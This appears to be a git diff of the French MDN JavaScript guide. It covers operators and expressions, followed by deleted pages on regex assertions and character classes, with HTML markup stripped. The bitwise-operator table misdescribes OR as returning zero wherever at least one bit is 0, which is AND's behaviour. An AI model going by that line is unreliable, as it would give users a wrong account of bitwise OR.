Inégalité (!=)Renvoie true si les opérandes sont différents.var1 != 4
- var2 != "3"
Égalité stricte (===)Renvoie true si les opérandes sont égaux et de même type. Voir {{jsxref("Object.is","Object.is()")}} et égalité de type en JavaScript.3 === var1
Inégalité stricte (!==)Renvoie true si les opérandes ne sont pas égaux ou s'ils ne sont pas de même type.var1 !== "3"
- 3 !== '3'
Supériorité stricte (>)Renvoie true si l'opérande gauche est supérieur (strictement) à l'opérande droit.var2 > var1
- "12" > 2
Supériorité ou égalité (>=)Renvoie true si l'opérande gauche est supérieur ou égal à l'opérande droit.var2 >= var1
- var1 >= 3
Infériorité stricte (<)Renvoie true si l'opérande gauche est inférieur (strictement) à l'opérande droit.var1 < var2
- "2" < "12"
Infériorité ou égalité (<=)Renvoie true si l'opérande gauche est inférieur ou égal à l'opérande droit.var1 <= var2
- var2 <= 5
- -
-

Note : => n'est pas un opérateur. Il s'agit de la notation utilisée pour les fonctions fléchées.

-
- -

Opérateurs arithmétiques

- -

Les opérateurs arithmétiques ont pour opérandes des valeurs numériques (des littéraux ou des variables) et renvoient une valeur numérique. Les opérateurs arithmétiques standards sont l'addition (+), la soustraction (-), la multiplication (*), et la division (/). Ces opérateurs fonctionnent comme pour la plupart des langages de programmation lorsqu'ils sont utilisés avec des nombres décimaux (on notera que la division par zéro a pour résultat {{jsxref("Infinity")}}). Ainsi :

- -
1 / 2; // 0.5
-1 / 2 == 1.0 / 2.0; // true
-
- -

En plus des opérations arithmétiques standards (+,-,*,/), JavaScript fournit également d'autres opérateurs arithmétiques, listés dans le tableau qui suit :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérateurs arithmétiques
OpérateurDescriptionExemple
Reste (%)
-  		Opérateur binaire. Renvoie le reste entier de la division entre les deux opérandes.12 % 5 renvoie 2.
Incrément (++)Opérateur unaire. Ajoute un à son opérande. S'il est utilisé en préfixe (++x), il renvoie la valeur de l'opérande après avoir ajouté un, s'il est utilisé comme opérateur de suffixe (x++), il renvoie la valeur de l'opérande avant d'ajouter un.Si x vaut 3, ++x incrémente x à 4 et renvoie 4, x++ renvoie 3 et seulement ensuite ajoute un à x.
Décrément (--)Opérateur unaire. Il soustrait un à son opérande. Il fonctionne de manière analogue à l'opérateur d'incrément.Si x vaut 3, --x décrémente x à 2 puis renvoie2, x-- renvoie 3 puis décrémente la valeur de x.
Négation unaire (-)Opérateur unaire. Renvoie la valeur opposée de l'opérande.Si x vaut 3, alors -x renvoie -3.
Plus unaire (+)Opérateur unaire. Si l'opérande n'est pas un nombre, il tente de le convertir en une valeur numérique. -

+"3" renvoie 3.

- -

+true renvoie 1.

-
Opérateur d'exponentiation (**) (puissance) {{experimental_inline}}Calcule un nombre (base) élevé à une puissance donnée (soit basepuissance) -

2 ** 3 renvoie 8

- -

10 ** -1 renvoie 0.1

-
- -

Opérateurs binaires

- -

Les opérateurs binaires voient leurs opérandes comme des ensembles de 32 bits (des zéros et des uns), et non pas comme des nombres décimaux, octaux ou hexadécimaux. Ainsi, le nombre décimal neuf aura une représentation binaire de 1001. Les opérateurs binaires effectuent des opérations sur des représentations binaires mais renvoies des valeurs numériques JavaScript standards.

- -

Le tableau qui suit résume les opérateurs binaires JavaScript :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérateurs binaires
OpérateurUtilisationDescription
AND (ET) binairea & bRenvoie un 1 à chaque position binaire pour laquelle les bits des deux opérandes sont à 1.
OR (OU) binairea | bRenvoie un zéro à chaque position binaire pour laquelle au moins un des bits des deux opérandes est à 0.
XOR (OU exclusif) binairea ^ bRenvoie un zéro à chaque position binaire pour laquelle les bits sont les mêmes (et un 1 pour chacun des bits qui est différent).
NOT (NON) binaire~ aInverse les bits de l'opérande.
Décalage binaire à gauchea << bDécale la représentation binaire de b bits sur la gauche et complète avec des zéros à droite.
Décalage binaire à droitea >> bDécale la représentation binaire de b bits sur la droite en ignorant les bits perdus.
Décalage binaire à droite en complétant avec des zérosa >>> bDécale la représentation binaire de b bits sur la droite en ignorant les bits perdus et ajoute des zéros sur la gauche.
- -

Opérateurs binaires logiques

- -

Les opérateurs binaires logiques fonctionnent de cette façon :

- -
    -
  • Les opérandes sont convertis en entiers sur 32 bits et exprimés comme une série de bits (des 1 et des 0). Les nombres sur plus de 32 bits voient leurs bits supplémentaires supprimés : - 
    Avant : 11100110111110100000000000000110000000000001
-Après :             10100000000000000110000000000001
    -
    • -
  • Chaque bit du premier opérande est associé avec le bit correspondant du second opérande (le premier bit du premier opérande avec le premier bit du second opérande, le second avec le second et ainsi de suite)
    • -
  • L'opérateur est appliqué pour chaque paire de bits ainsi constituée et le résultat est reconstruit sous forme binaire.
    • -
- -

Le chiffre neuf est par exemple représenté comme 1001, et le nombre quinze comme 1111. Ainsi, quand les opérateurs binaires sont appliqués sur ces valeurs, on a les résultats qui suivent :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemples utilisant les opérateurs binaires
ExpressionRésultatDescription binaire
15 & 991111 & 1001 = 1001
15 | 9151111 | 1001 = 1111
15 ^ 961111 ^ 1001 = 0110
~15-16~00000000...00001111 = 11111111...11110000
~9-10~00000000...00001001 = 11111111...11110110
- -

Il faut remarquer que tous les bits sont échangés lorsque l'opérateur binaire NOT est utilisé. Il est donc utile de savoir que les valeurs dont le bit le plus fort (le plus à gauche) vaut 1 sont des nombres négatifs (représentation en complément à deux). L'évaluation de ~x aura le même résultat que l'évaluation de -x - 1.

- -

Opérateurs binaires de décalage

- -

Les opérateurs binaires de décalage utilisent deux opérandes : le premier indiquant la quantité à décaler et le second indiquant de combien de bits on décale le premier opérande. La direction du décalage est spécifiée grâce à l'opérateur.

- -

Les opérateurs binaires de décalage convertissent leurs opérandes en entiers sur 32 bits et renvoient un résultat dont le type est le même que l'opérande gauche.

- -

Les opérateurs de décalage sont énumérés dans le tableau qui suit.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérateurs binaires de décalage
OpérateurDescriptionExemple
Décalage à gauche (<<)Cet opérateur décale le premier opérande d'un nombre de bits donné sur la gauche. Les bits en trop sont ignorés et des bits à zéro sont introduits à droite.9<<2 renvoie 36, car 1001, décalé de 2 bits à gauche, devient  100100, dont la représentation en base 10 est  36.
Décalage à droite avec propagation du signe (>>)Cet opérateur décale le premier opérande d'un nombre de bits donné sur la droite. Les bits en trop sont ignorés et des bits correspondants au bit de signe sont introduits à gauche.9>>2 renvoie 2, car 1001, décalé de 2 bits à droite, devient 10 représentant 2. De même  -9>>2 renvoie -3, car le signe est préservé.
Décalage à droite avec zéros (>>>)Cet opérateur décale le premier opérande d'un nombre de bits donné sur la droite. Les bits en trop sont ignorés et des bits à 0 sont introduits à gauche.19>>>2 renvoie 4, car 10011, décalé de 2 bits, devient 100 qui représente 4. Pour les nombres positifs, cet opérateur et l'opérateur précédent renvoient les mêmes résultats.
- -

Opérateurs logiques

- -

Les opérateurs logiques sont généralement utilisés avec des valeurs booléennes. Dans ce cas, il renvoient une valeur booléenne. Les opérateurs && et || renvoient en fait une valeurs d'un des opérandes et si ces opérateurs sont utilisés avec des valeurs non-booléennées, ils pourront renvoyer une valeur non-booléenne. Les opérateurs logiques sont décrits dans le tableau qui suit.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérateurs logiques
OpérateurUsageDescription
ET logique (&&)expr1 && expr2Renvoie expr1 s'il peut être converti à false, sinon renvoie expr2. Dans le cas où on utilise des opérandes booléens, && renvoie true si les deux opérandes valent true, false sinon.
OU logique (||)expr1 || expr2Renvoie expr1 s'il peut être converti à true, sinon renvoie expr2. Dans le cas où on utilise des opérandes booléens, || renvoie true si l'un des opérandes vaut true, si les deux valent false, il renvoie false.
NON logique (!)!exprRenvoie false si son unique opérande peut être converti en true, sinon il renvoie true.
- -

Les exemples d'expressions qui peuvent être converties à false sont celles qui sont évaluées à null, 0, NaN, la chaîne de caractères vide (""), ou undefined.

- -

Le code qui suit montre des exemples de l'utilisation de l'opérateur logique ET (&&).

- -
var a1 =   true && true;     // t && t renvoie true
-var a2 =   true && false;    // t && f renvoie false
-var a3 =  false && true;     // f && t renvoie false
-var a4 =  false && (3 == 4); // f && f renvoie false
-var a5 = "Chat" && "Chien";  // t && t renvoie Chien
-var a6 =  false && "Chat";   // f && t renvoie false
-var a7 = "Chat" && false;    // t && f renvoie false
-
- -

Les exemples suivants montrent l'utilisation de l'opérateur logique OU (||).

- -
var o1 =   true || true;     // t || t renvoie true
-var o2 =  false || true;     // f || t renvoie true
-var o3 =   true || false;    // t || f renvoie true
-var o4 =  false || (3 == 4); // f || f renvoie false
-var o5 = "Chat" || "Chien";  // t || t renvoie Chat
-var o6 =  false || "Chat";   // f || t renvoie Chat
-var o7 = "Chat" || false;    // t || f renvoie Chat
-
- -

Les exemples suivants montrent l'utilisation de l'opérateur logique NON (!).

- -
var n1 = !true;   // !t renvoie false
-var n2 = !false;  // !f renvoie true
-var n3 = !"Chat"; // !t renvoie false
-
- -

Evaluation rapide

- -

Les expressions logiques sont évaluées de gauche à droite. Cette évaluation utilise des tests pour savoir s'il est possible d'utiliser des « raccourcis » correspondant aux règles suivantes :

- -
    -
  • false && n'importe quoi sera évalué à false.
    • -
  • true || n'importe quoi sera évalué à true.
    • -
- -

Les règles logiques garantissent la validité de ces évaluations, il faut noter que le second opérande n'est pas du tout évalué, empêchant ainsi les effets de bords cachés, liés à cette évaluation.

- -

Opérateurs de chaînes de caractères

- -

En plus des opérateurs de comparaisons qui peuvent être utilisés sur des chaînes de caractères, il existe l'opérateur de concaténation (+) permettant de concaténer deux chaînes de caractères. Le résultat de cette opération est la fusion des deux opérandes en une même chaîne de caractères. Ainsi :

- -
console.log("ma " + "chaîne"); // affichera "ma chaîne" dans la console
- -

L'opérateur court += peut également être utilisé pour concaténer des chaînes. Par exemple :

- -
var maChaîne = "alpha";
-maChaîne += "bet"; // l'expression sera évaluée en "alphabet"
-                   // et cette valeur sera affectée à maChaîne
- -

Opérateur conditionnel ternaire

- -

L'opérateur conditionnel est le seul opérateur JavaScript qui utilise trois opérandes. L'expression utilisant l'opérateur peut prendre une valeur parmi deux selon une condition donnée. Cet opérateur s'utilise avec la syntaxe suivante :

- -
condition ? val1 : val2
-
- -

Si condition vaut true, l'opérateur vaudra val1. Sinon il vaudra val2. Il est possible d'utiliser l'opérateur conditionnel aux mêmes endroits qu'un opérateur standard.

- -

On peut par exemple avoir :

- -
var statut = (âge >= 18) ? "adulte" : "mineur";
-
- -

Cette instruction assigne la valeur "adulte" à la variable status si la variable âge est supérieure ou égale à 18. Sinon, on lui affecte la valeur "mineur".

- -

La virgule comme opérateur

- -

L'opérateur virgule (,) évalue ses deux opérandes et renvoie la valeur du second opérande. Cet opérateur est principalement utilisé dans les boucles for pour permettre à plusieurs variables d'être modifiées à chaque itération de la boucle.

- -

Ainsi, si on a un tableau à 2 dimensions avec 10 lignes et colonnes, on peut utiliser la virgule comme opérateur pour incrémenter deux variables à la fois. Le code qui suit imprime les valeurs contenues sur la diagonale du tableau :

- -
var x = [0,1,2,3,4,5,6,7,8,9]
-var a = [x, x, x, x, x];
-
-for (var i = 0, j = 9; i <= j; i++, j--)
-  console.log("a[" + i + "][" + j + "]= " + a[i][j]);
-
- -

Opérateurs unaires

- -

delete

- -

L'opérateur delete supprime un objet, une propriété d'un objet ou un élément d'un tableau à partir de sa position dans le tableau. La syntaxe de cet opérateur est la suivante :

- -
delete monObjet;
-delete monObjet.propriété;
-delete monObjet[index];
-delete propriété; // uniquement valide au sein d'une instruction with
-
- -

où on a monObjet qui est le nom de l'objet, propriété qui est une propriété existante et index un entier indiquant la position d'un élément dans un tableau.

- -

La quatrième instruction n'est valide qu'au sein d'une instruction with et permet de supprimer une propriété d'un objet.

- -

Il est possible d'utiliser l'opérateur delete pour supprimer les variables déclarées implicitement mais pas celles déclarées avec var. Si l'opérateur fonctionne correctement, il change la propriété ou l'élément vers la valeur undefined. L'opérateur delete renvoie true si l'opération de suppression est possible, false sinon.

- -
x = 42;
-var y = 43;
-monobj = new Number();
-monobj.h = 4;    // création de la propriété h
-delete x;        // renvoie true (suppression possible si déclaration implicite)
-delete y;        // renvoie false (suppression impossible si déclaration avec var si la variable n'est pas une propriété)
-delete Math.PI;  // renvoie false (suppression impossible pour les propriétés pré-définies)
-delete monobj.h; // renvoie true (suppression possible des propriétés définies par l'utilisateur)
-delete monobj;   // renvoie true (suppression possible si déclaration implicite)
-
- -
Suppression d'éléments d'un tableau
- -

Lorsqu'on supprime un élément d'un tableau, la longueur du tableau n'est pas modifiée. Ainsi, si on supprime a[3], a[4] restera a[4] (même position et valeur) alors que a[3] sera undefined.

- -

Lorsque l'opérateur delete supprime un élément d'un tableau, cet élément n'appartient plus au tableau. Dans l'exemple qui suit, arbres[3] est supprimé mais il est toujours accessible et renvoie undefined.

- -
var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
-delete arbres[3];
-if (3 in arbres) {
-  // Ceci ne sera pas exécuté
-}
-
- -

Pour qu'un élément continue à exister mais qu'il vaille undefined, on utilisera le mot-clé undefined plutôt que l'opérateur delete. Dans l'exemple qui suit, arbres[3] est modifié pour valoir undefined et l'élément du tableau continue à exister :

- -
var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
-arbres[3] = undefined;
-if (3 in arbres) {
-  // Ceci sera exécuté
-}
-
- -

typeof

- -

L'opérateur typeof peut être utilisé de deux façons distinctes :

- -
    -
  1. - 
    typeof opérande
    -
    2. -
  2. - 
    typeof (opérande)
-
    -
    3. -
- -

L'opérateur typeof renvoie une chaîne de caractères indiquant le type de l'opérande (qui n'est pas évalué). opérande correspond à la chaîne de caractère, la variable, le mot-clé ou l'objet dont on souhaite renvoyer le type. L'utilisation des parenthèses est facultative.

- -

Soient les définitions de variables suivantes :

- -
var maFonction = new Function("5 + 2");
-var forme = "round";
-var taille = 1;
-var toto = ["Pomme", "Poire", "Orange"];
-var jour = new Date();
-
- -

L'opérateur typeof renverra les résultats suivants :

- -
typeof maFonction; // renvoie "function"
-typeof forme;      // renvoie "string"
-typeof taille;     // renvoie "number"
-typeof toto;       // renvoie "object"
-typeof jour;       // renvoie "object"
-typeof inexistant; // renvoie "undefined"
-
- -

En ce qui concerne les mots-clés true et null, l'opérateur typeof renvoie les résultats suivants :

- -
typeof true; // renvoie "boolean"
-typeof null; // renvoie "object"
-
- -

Pour une chaîne de caractères ou un nombre, typeof renvoie les résultats suivants :

- -
typeof 62;            // renvoie "number"
-typeof 'Hello world'; // renvoie "string"
-
- -

L'opérateur typeof, lorsqu'il est utilisé avec des propriétés, renvoie le type de valeur contenue dans la propriété :

- -
typeof document.lastModified; // renvoie "string"
-typeof window.length;         // renvoie "number"
-typeof Math.LN2;              // renvoie "number"
-
- -

Pour les méthodes et les fonctions, l'opérateur typeof renvoie les résultats suivants :

- -
typeof blur;        // renvoie "function"
-typeof eval;        // renvoie "function"
-typeof parseInt;    // renvoie "function"
-typeof shape.split; // renvoie "function"
-
- -

Pour les objets pré-définis, l'opérateur typeof fonctionne ainsi :

- -
typeof Date;     // renvoie "function"
-typeof Function; // renvoie "function"
-typeof Math;     // renvoie "object"
-typeof Option;   // renvoie "function"
-typeof String;   // renvoie "function"
-
- -

void

- -

L'opérateur void peut être utilisé de deux façons :

- -
    -
  1. - 
    void (expression)
-
    -
    2. -
  2. - 
    void expression
-
    -
    3. -
- -

L'opérateur void indique qu'une expression doit être évaluée sans retourner de valeur. expression étant une expression JavaScript à évaluer. Les parenthèses sont facultatives mais les utiliser permet d'avoir une meilleur lisibilité du code.

- -

L'opérateur void peut être utilisé pour spécifier une expression comme un lien hypertexte, l'expression est évaluée mais n'est pas chargée à la place du document actuel.

- -

Le fragment de code  qui suit crée un lien hypertexte qui ne fait rien lorsque l'utilisateur clique dessus. Lorsqu'on clique sur le lien, void(0) est évalué à undefined, n'ayant aucun effet.

- -
<A HREF="javascript:void(0)">Cliquer ici pour ne rien faire</A>
-
- -

Le code suivant crée un lien hypertexte qui envoie un formulaire lorsque l'utilisateur clique dessus.

- -
<A HREF="javascript:void(document.form.submit())">
-Cliquer ici pour envoyer</A>
- -

Opérateurs relationnels

- -

Un opérateur relationnel compare ses opérandes et renvoie une valeur booléenne selon que le résultat de la comparaison est vrai ou faux.

- -

in

- -

L'opérateur in renvoie true si la propriété indiquée fait partie de l'objet donné. Cet opérateur s'utilise avec la syntaxe suivante :

- -
nomOuNumeroPropriete in monObjet
-
- -

avec nomOuNumeroPropriete qui est une chaîne de caractères, une expression numérique ou un symbole correspondant au nom d'une propriété ou un indice de tableau, monObjet est le nom d'un objet.

- -

Les exemples qui suivent utilisent cet opérateur in.

- -
// Tableaux
-var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
-0 in arbres;         // renvoie true
-3 in arbres;         // renvoie true
-6 in arbres;         // renvoie false
-"laurier" in arbres; // renvoie false (l'opérateur se base sur l'indice et pas
-                     // sur la valeur)
-"length" in arbres;  // renvoie true (length est une propriété d'un objet Array)
-
-// Objets pré-définis
-"PI" in Math;         // renvoie true
-var myString = new String("coral");
-"length" in myString; // renvoie true
-
-// Objets définis par l'utilisateur
-var maVoiture = {fabricant: "Honda", modèle: "Accord", year: 1998};
-"fabricant" in maVoiture; // renvoie true
-"modèle" in maVoiture;    // renvoie true
-
- -

instanceof

- -

L'opérateur instanceof renvoie true si l'objet donné est du type spécifié. Cet opérateur s'utilise avec la syntaxe suivante :

- -
nomObjet instanceof typeObjet
-
- -

avec nomObjet qui est le nom de l'objet dont on souhaite comparer le type à typeObjet, typeObjet étant un type d'objet tel que {{jsxref("Date")}} ou {{jsxref("Array")}}.

- -

instanceof peut être utilisé pour confirmer le type d'un objet pendant l'exécution. Ainsi, on peut gérer les exceptions en prévoyant différents cas pour différents types d'exception éventuellement levées.

- -

Dans l'exemple qui suit, le code utilise l'opérateur instanceof afin de déterminer si jour est un objet Date. C'est le cas, les instructions contenues dans le bloc après l'instruction if sont donc exécutées.

- -
var jour = new Date(2007, 01, 22);
-if (jour instanceof Date) {
-  // instructions à exécuter
-}
-
- -

Précédence des opérateurs

- -

La précédence des opérateurs indique l'ordre dans lequel ils sont appliqués lors de l'évaluation d'une expression. L'utilisation de parenthèses permet de surcharger la relation de précédence.

- -

Le tableau qui suit décrit les précédences des opérateurs, dans l'ordre décroissant.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Précédence des opérateurs
Type d'opérateurOpérateurs individuels
membre. []
appel/création d'instance() new
négation/incrémentation! ~ - + ++ -- typeof void delete
multiplication/division* / %
addition/soustraction+ -
décalage binaire<< >> >>>
relationnel< <= > >= in instanceof
égalité== != === !==
ET binaire&
OU exclusif binaire^
OU binaire|
ET logique&&
OU logique||
conditionnel?:
assignation= += -= *= /= %= <<= >>= >>>= &= ^= |=
virgule,
- -

Une version plus détaillée de cette table peut être trouvée dans la référence JavaScript.

- -

Expressions

- -

Un expression correspond à une unité de code valide qui est résolue en une valeur.

- -

D'un point de vue syntaxique, toute expression valide se résout en une valeur. D'un point de vue conceptuel cependant, il y a deux types d'expressions : celles avec des effets de bord (qui, par exemple, affectent une valeur à une variable) et celles qui, d'une certaine façon, sont évaluées et sont résolues en une valeur.

- -

L'expression x = 7 affecte une valeur (premier type). Dans celle-ci, on utilise l'opérateur = pour affecter la valeur 7 à la variable x. L'expression elle-même est évaluée à 7.

- -

Le code 3 + 4 correspond au second type d'expression. On utilise ici l'opérateur + pour ajouter trois à quatre sans affecter le résultat (7) à une variable.

- -

Les expressions JavaScript peuvent être rangées selon différentes catégories :

- -
    -
  • Arithmétiques : l'expression est évaluée en un nombre (par exemple 3.14159)
    • -
  • Textuelles : l'expression est évaluée en une chaîne de caractères
    • -
  • Logiques : l'expression est évaluée en true ou false
    • -
  • Primaires : Les mots-clés basiques et les expressions générales en JavaScript
    • -
  • Expressions vers la gauche : Les valeurs à gauche sont la cible d'une affectation
    • -
- -

Expressions primaires

- -

Ces expressions correspondent aux mots-clés et aux expressions générales en JavaScript.

- -

this

- -

Le mot-clé this permet de faire référence à l'objet courant. En général, on l'utilise au sein d'une méthode pour faire référence à l'objet qui a utilisé la méthode. Il s'utilise de cette façon :

- -
this["nomPropriété"]
-this.nomPropriété
- -

Soit une fonction qui valide un objet si sa propriété value est comprise entre deux valeurs :

- -
function valide(obj, valMin, valMax){
-  if ((obj.value < valMin) || (obj.value > valMax))
-    console.log("Valeur incorrecte !");
-}
-
- -

Il est possible d'appeler valide pour chaque gestionnaire d'événement onChange des éléments du formulaire, et d'utiliser le mot-clé this pour passer l'élément même en argument :

- -
<p>Entrez un nombre entre 18 et 99 :</p>
-<input type="text" nom="age" size=3 onChange="valide(this, 18, 99);">
-
- -

Opérateur de groupement

- -

L'opérateur de groupement ( ) permet de contrôler la précédence de l'évaluation dans les expressions. On peut ainsi forcer l'évaluation d'une addition avant l'évaluation d'une multiplication ou d'une division.

- -
var a = 1;
-var b = 2;
-var c = 3;
-
-// précédence par défaut
-a + b * c;   // 7
-// ce qui correspond à :
-a + (b * c); // 7
-
-// on peut utiliser l'opérateur
-// pour effectuer l'addition en premier
-(a + b) * c;   // 9
-
-// ce qui équivaut à :
-a * c + b * c; // 9
-
- -

Expressions vers la gauche

- -

Les valeurs à gauches de ces expressions sont la cible d'une affectation.

- -

new

- -

L'opérateur new permet de créer une instance d'un objet défini par l'utilisateur ou d'un objet dont le type est un des types d'objets natifs. Cet opérateur utilise la syntaxe suivante :

- -
var nomObjet = new typeObjet([param1, param2, ..., paramN]);
-
- -

super

- -

Le mot-clé super est utilisé afin d'appeler des fonctions disponibles sur un objet parent. Il peut notamment être utilisé avec les classes pour appeler le constructeur parent.

- -
super([arguments]); // invoque le constructeur parent
-super.functionParent([arguments]);
-
- -

Opérateur de décomposition

- -

L'opérateur de décomposition permet de développer une expression là où plusieurs argument (pour les appels de fonction) ou plusieurs éléments (pour les littéraux de tableaux) sont attendus.

- -

Par exemple, si on a tableau et qu'on souhaite créer un nouveau tableau qui contient l'ancien, on peut soit utiliser une combinaison des méthodes push, splice, concat, soit utiliser la syntaxe de décomposition qui s'avère plus concise :

- -
var parts = ['shoulders', 'knees'];
-var lyrics = ['head', ...parts, 'and', 'toes'];
- -

L'opérateur de décomposition fonctionne de façon semblable avec les appels de fonction :

- -
function f(x, y, z) { }
-var args = [0, 1, 2];
-f(...args);
- -

{{PreviousNext("Web/JavaScript/Guide/Fonctions", "Web/JavaScript/Guide/Nombres_et_dates")}}

diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/assertions/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/assertions/index.html" deleted file mode 100644 index 2802651d49..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/assertions/index.html" +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Assertions -slug: Web/JavaScript/Guide/Expressions_régulières/Assertions -tags: - - Assertions - - Guide - - JavaScript - - RegExp -translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions ---- -

{{jsSidebar("JavaScript Guide")}}{{draft}}

- -

Les assertions indiquent les conditions selon lesquelles il est possible d'avoir une correspondance (contenu situé avant la correspondance, situé après ou expressions conditionnelles).

- -

Types

- -
-

Note : Le caractère ? peut également être utilisé comme quantificateur.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - -
CaractèresSignification
x(?=y) -

Correspond à 'x' seulement s'il est suivi de 'y'. On appelle cela un test de succession (lookahead).

- -

Ainsi, /Jack(?=Sparrow)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow'. /Jack(?=Sparrow|Bauer)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow' ou de 'Bauer'. Cependant, ni 'Sparrow' ni 'Bauer' ne feront partie de la correspondance.

-
x(?!y) -

Correspond à 'x' seulement si 'x' n'est pas suivi de 'y'.

- -

Ainsi, /\d+(?!\.)/ correspond à un nombre qui n'est pas suivi par un point, cette expression utilisée avec la chaîne 3.141 correspondra pour '141' mais pas pour '3.141'.

-
(?<=y)x -

Correspond à x seulement si x est précédé par y. C'est ce qu'on appelle une recherche arrière (lookbehind).

- -

Ainsi /(?<=Jack)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack".
- /(?<=Jack|Tom)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack" ou "Tom".
- Toutefois, "Jack" et "Tom" ne feront pas partie de la correspondance.

-
(?<!y)x -

Correspond à x uniquement si x n'est pas précédé par y (parfois appelée en anglais negated lookbehind).

- -

Ainsi, /(?<!-)\d+/ correspondra à un nombre seulement si celui-ci n'est pas précédé d'un signe moins.
- /(?<!-)\d+/.exec('3') cible "3".
-  /(?<!-)\d+/.exec('-3')  ne trouve aucune correspondance car le nombre est précédé d'un signe

-
- -

Exemples

- -

Assertion avant (lookahead)

- -
let regex = /Premier(?= test)/g;
-
-console.log('Premier test'.match(regex)); // [ 'Premier' ]
-console.log('Premier truc'.match(regex)); // null
-console.log("Voici le Premier test de l'année.".match(regex)); // [ 'Premier' ]
-console.log('Voici le Premier truc du mois.'.match(regex)); // null
-
- -

Assertion avant négative

- -

L'expression rationnelle /\d+(?!\.)/ permettra de rechercher plusieurs chiffres si ceux-ci ne sont pas suivis d'un point décimal. Ainsi, /\d+(?!\.)/.exec('3.141') trouvera la sous-chaîne "141" mais pas "3."

- -
console.log(/\d+(?!\.)/g.exec('3.141')); // [ '141', index: 2, input: '3.141' ]
-
- -

Signification différente de '?!' entre les assertions et les intervalles

- -

La combinaison de caractères ?! a un sens différent entre les assertions /x(?!y)/ et les intervalles [^?!].

- -
let orangePasCitron = "Voulez-vous avoir une orange? Oui, je ne veux pas avoir de citron!";
-
-let choixPasCitron = /[^?!]+avoir(?! un citron)[^?!]+[?!]/gi
-console.log(orangePasCitron.match(choixPasCitron)); // [ 'Voulez-vous avoir une orange?' ]
-
-let choixPasOrange = /[^?!]+avoir(?! une orange)[^?!]+[?!]/gi
-console.log(orangePasCitron.match(choixPasOrange)); // [ 'Oui, je ne veux pas avoir de citron!' ]
-
- -

Assertion arrière (lookbehind)

- -
let oranges = ['espèce orange A ', 'sorte orange B', 'espèce orange C',];
-
-let especesOranges = oranges.filter( fruit => fruit.match(/(?<=espèce )orange/));
-console.log(especesOranges); // [ 'espèce orange A ', 'espèce orange C' ]
-
diff --git "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/classes_de_caract\303\250res/index.html" "b/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/classes_de_caract\303\250res/index.html" deleted file mode 100644 index ce2d02b789..0000000000 --- "a/files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/classes_de_caract\303\250res/index.html" +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Classes de caractères -slug: Web/JavaScript/Guide/Expressions_régulières/Classes_de_caractères -tags: - - Classes - - Guide - - JavaScript - - RegExp -translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes ---- -

{{jsSidebar("JavaScript Guide")}}{{draft}}

- -

Les classes de caractères permettent de distinguer différents ensembles de caractères dans les expressions rationnelles (par exemple les chiffres d'une part et les lettres d'autre part).

- -

Types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CaractèresSignification
. -

Par défaut, (Le point) correspond à n'importe quel caractère excepté un caractère de saut de ligne.

- -

Ainsi, /.n/ correspond à  'un' et 'en' dans "Un baobab nain en cours de  croissance" mais pas à 'nain'.

- -

Si le marqueur s (dotAll) est utilisé, le point correspondra également aux caractères de saut de ligne.

- -

Le marqueur m ne modifie pas le comportement du point.

- -

Attention, si on utilise le point dans un intervalle de caractères, il n'aura plus cette signification spéciale.

-
\d -

Correspond à un chiffre et est équivalent à [0-9].

- -

Ainsi, /\d/ ou /[0-9]/ correspond à '2' dans "H2O est la molécule de l'eau".

-
\D -

Correspond à tout caractère qui n'est pas un chiffre et est équivalent à [^0-9].

- -

Ainsi, /\D/ ou /[^0-9]/ correspond à 'H' dans "H2O est la molécule de l'eau".

-
\w -

Correspond à n'importe quel caractère alphanumérique de l'alphabet latin, y compris le tiret bas. C'est équivalent à [A-Za-z0-9_].

- -

Ainsi, /\w/ correspond à 'l' dans "licorne", à '5' dans "5,28€", et à '3' dans "3D."

-
\W -

Correspond à n'importe quel caractère n'étant pas un caractère de l'alphabet latin ou le tiret bas. Cela est équivalent à [^A-Za-z0-9_].

- -

Ainsi, /\W/ ou /[^A-Za-z0-9_]/ correspond à '%' dans "50%."

-
\s -

Correspond à un blanc (cela comprend les espace, tabulation, saut de ligne ou saut de page). C'est équivalent à [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

- -

Ainsi, /\s\w*/ correspond à ' toto' dans "truc toto".

-
\S -

Correspond à un caractère qui n'est pas un blanc. C'est équivalent à [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

- -

Ainsi, /\S\w*/ correspond à 'truc' dans "truc toto".

-
\tCorrespond à une tabulation (U+0009).
\rCorrespond à un retour chariot (U+000D).
\nCorrespond à un saut de ligne (U+000A).
\vCorrespond à une tabulation verticale (U+000B).
\fCorrespond à un saut de page (U+000C).
[\b]Correspond pour un retour arrière (U+0008). (À ne pas confondre avec \b, voir les limites).
